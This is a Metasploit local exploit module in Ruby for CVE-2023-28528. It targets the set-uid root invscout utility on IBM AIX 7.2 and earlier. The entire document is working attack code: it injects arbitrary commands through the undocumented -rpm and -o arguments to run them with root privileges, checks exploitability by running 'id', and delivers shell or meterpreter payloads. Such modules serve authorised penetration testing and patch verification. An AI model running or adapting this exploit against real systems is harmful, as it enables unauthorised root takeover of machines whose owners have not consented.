IBM AIX 7.2 inscout Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'invscout RPM Privilege Escalation',  
'Description' => %q{  
This module exploits a command injection vulnerability in IBM AIX  
invscout set-uid root utility present in AIX 7.2 and earlier.  
  
The undocumented -rpm argument can be used to install an RPM file;  
and the undocumented -o argument passes arguments to the rpm utility  
without validation, leading to command injection with effective-uid  
root privileges.  
  
This module has been tested successfully on AIX 7.2.  
},  
'Author' => [  
'Tim Brown', # Discovery and PoC  
'bcoles' # Metasploit  
],  
'References' => [  
['CVE', '2023-28528'],  
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],  
],  
'Platform' => %w[unix aix],  
'Arch' => ARCH_CMD,  
'Payload' => {  
'BadChars' => "\x00\x0a\x0d\x22",  
'Compat' => {  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet openssl'  
}  
},  
'DefaultOptions' => {  
'PrependSetresuid' => true,  
'PrependSetresgid' => true,  
'PrependFork' => true  
},  
'SessionTypes' => %w[shell meterpreter],  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-04-24',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])  
])  
end  
  
def invscout_path  
datastore['INVSCOUT_PATH']  
end  
  
def check  
return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)  
  
res = execute_command('id')  
id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s  
  
return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')  
  
CheckCode::Vulnerable("Output: #{id}")  
end  
  
def execute_command(cmd, _opts = {})  
rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"  
rpm_args = "; #{cmd}; echo "  
res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")  
vprint_line(res) unless res.blank?  
res  
end  
  
def exploit  
execute_command(payload.encoded)  
end  
end  
`